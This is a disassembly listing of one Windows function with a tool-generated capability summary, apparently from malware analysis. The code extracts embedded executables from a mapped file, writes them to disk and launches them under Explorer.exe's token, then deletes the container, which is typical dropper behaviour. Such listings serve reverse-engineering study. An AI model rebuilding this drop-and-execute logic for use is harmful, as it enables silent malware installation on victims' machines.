Function at 0x402fba
Capabilities:
Create process on windows
Delete file
Get file size
Read file via mapping
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d8
and dword [ebp - 4], 0
and dword [ebp - 0x1c], 0
and dword [ebp - 0x18], 0
and dword [ebp - 0x10], 0
mov dword [ebp - 0x12c], 0x7055
or dword [ebp - 0x20], 0xffffffff
and dword [ebp - 0xc], 0
and dword [ebp - 0x14], 0
mov eax, dword [sym.imp.USER32.dll_wsprintfA]
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
and eax, 0xffff
movzx eax, ax
shr eax, 8
and eax, 0xff
movzx eax, al
cmp eax, 2
jne 0x40301a
lea eax, [ebp - 0x12c]
mov dword [ebp - 4], eax
jmp 0x403021
mov dword [ebp - 4], 0x40ad60
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push 0x40c1d0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffff
jne 0x40304c
jmp 0x403313
call fcn.00402e88
push str.Explorer.exe
call fcn.004010ee
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4030a2
and dword [ebp - 0x130], 0
push dword [ebp - 0x18]
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x130], eax
lea eax, [ebp - 0x14]
push eax
push 0xf01ff
push dword [ebp - 0x130]
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push dword [ebp - 0x130]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x10], eax
push 0
push 0
push 0
push 2
push 0
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0xc], eax
push 0
push 0
push 0
push 4
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 4]
movsx eax, byte [eax]
test eax, eax
je 0x4032e4
and dword [ebp - 0x138], 0
and dword [ebp - 0x134], 0
mov eax, dword [ebp - 0x1c]
add eax, 0x28
mov dword [ebp - 0x134], eax
jmp 0x403113
mov eax, dword [ebp - 0x134]
add eax, 0x18
mov dword [ebp - 0x134], eax
mov eax, dword [ebp - 0x134]
cmp dword [eax + 4], 0
jbe 0x403144
push dword [ebp - 4]
mov eax, dword [ebp - 0x134]
add eax, 8
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x403142
mov dword [ebp - 0x138], 1
jmp 0x403144
jmp 0x403104
cmp dword [ebp - 0x138], 1
jne 0x4032c1
and dword [ebp - 0x140], 0
or dword [ebp - 0x13c], 0xffffffff
push 0x104
push 0
lea eax, [ebp - 0x128]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
call fcn.0040170c
push eax
push 0x40c508
push str._s_d.exe
lea eax, [ebp - 0x128]
push eax
call dword [ebp - 8]
add esp, 0x10
push 0
push 0x80
push 2
push 0
push 1
push 0xc0000000
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x13c], eax
push 0
lea eax, [ebp - 0x140]
push eax
mov eax, dword [ebp - 0x134]
push dword [eax + 4]
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0x1c]
add ecx, dword [eax]
push ecx
push dword [ebp - 0x13c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x13c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x14], 0
je 0x4032b2
push 0x40
push 0
lea eax, [ebp - 0x1d8]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x4085b4
push str.winsta0defa
push str._s_s
lea eax, [ebp - 0x1d8]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x44
push 0
lea eax, [ebp - 0x198]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x10
push 0
lea eax, [ebp - 0x150]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x198], 0x44
lea eax, [ebp - 0x1d8]
mov dword [ebp - 0x190], eax
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x198]
push eax
push 0
push 0
push 0x4000000
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
je 0x4032b0
push dword [ebp - 0x14c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x150]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4032c1
push 5
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x1f40
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 4]
lea eax, [ecx + eax + 1]
mov dword [ebp - 4], eax
jmp 0x4030da
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x40c1d0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
leave
ret